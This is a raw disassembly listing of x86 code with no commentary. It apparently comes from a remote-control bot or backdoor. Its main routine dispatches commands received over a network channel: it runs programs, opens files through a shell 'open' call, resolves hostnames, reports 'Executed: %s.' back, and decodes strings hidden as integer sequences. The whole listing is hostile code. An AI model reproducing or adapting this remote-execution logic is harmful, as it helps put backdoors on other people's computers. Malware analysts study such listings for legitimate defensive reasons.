		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC72
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449128
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D80A9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8085
		call	sub_401D20
		call	edi
		mov	dword_4D80A9, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		nop
		call	near ptr 27F0367h
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E55
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_4498A6
		test	al, al
		jz	short loc_404F30
		push	offset dword_449844
		mov	ecx, offset dword_44AD80
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498EF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44991F
		mov	ecx, offset dword_44AD80
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD80
		call	sub_401E79
		mov	byte_4D809C, 0
		mov	byte_4E8E54, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E6A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D809C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8085
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E55
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E55
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E55
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8085
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F40
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
